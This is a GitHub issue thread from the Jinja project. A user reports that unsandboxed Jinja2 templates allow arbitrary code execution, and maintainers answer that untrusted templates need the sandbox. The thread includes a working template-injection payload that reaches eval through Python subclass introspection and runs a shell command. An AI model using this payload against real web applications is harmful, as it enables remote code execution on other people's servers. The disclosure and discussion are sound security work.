Jinja: Execute arbitrary codes in template without sandbox environment.

Created on 23 Feb 2016  ·  6Comments  ·  Source: pallets/jinja

When i use Jinja2 template framework in my project, i found a way to call "os.popen('id')" or another functions without global register.
It's easy to get shell when attacker can control the template content. Is that such a design?

PoC:

from jinja2 import Template

content = '''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %} {% endif %} {% endfor %}
{% endif %} {% endfor %}
'''
print Template(content).render()

I test this code with python2 (2.7.10) and Jinja2 (2.8), if it works will print your user's uid...

Most helpful comment

You should not execute untrusted templates in a non-sandboxed environment. That's exactly why the sandbox exists (and to be honest, even with a sandbox I would not let users provide arbitrary Jinja templates)

All 6 comments

You should not execute untrusted templates in a non-sandboxed environment. That's exactly why the sandbox exists (and to be honest, even with a sandbox I would not let users provide arbitrary Jinja templates)

So, is it necessary to take measures to prevent this case? I think there some specific application would allow users to edit the template content, but there is no practical examples.

I think it is necessary to use sandbox by defualt, because flask or another web framework used Jinja2 is not do this.

Why would you want to use the sandbox by default? In most cases templates cannot be changed by untrusted people who don't have access to the code anyway.

There is a case about remote code execution via Flask/Jinja2 template injection in Uber.
link: http://www.tuicool.com/articles/uE3YNjY

Enabling sandboxing by default is not possible due to backwards compat, and also not reasonable because most templates (in Flask) are trusted.

Was this page helpful?
0 / 5 - 0 ratings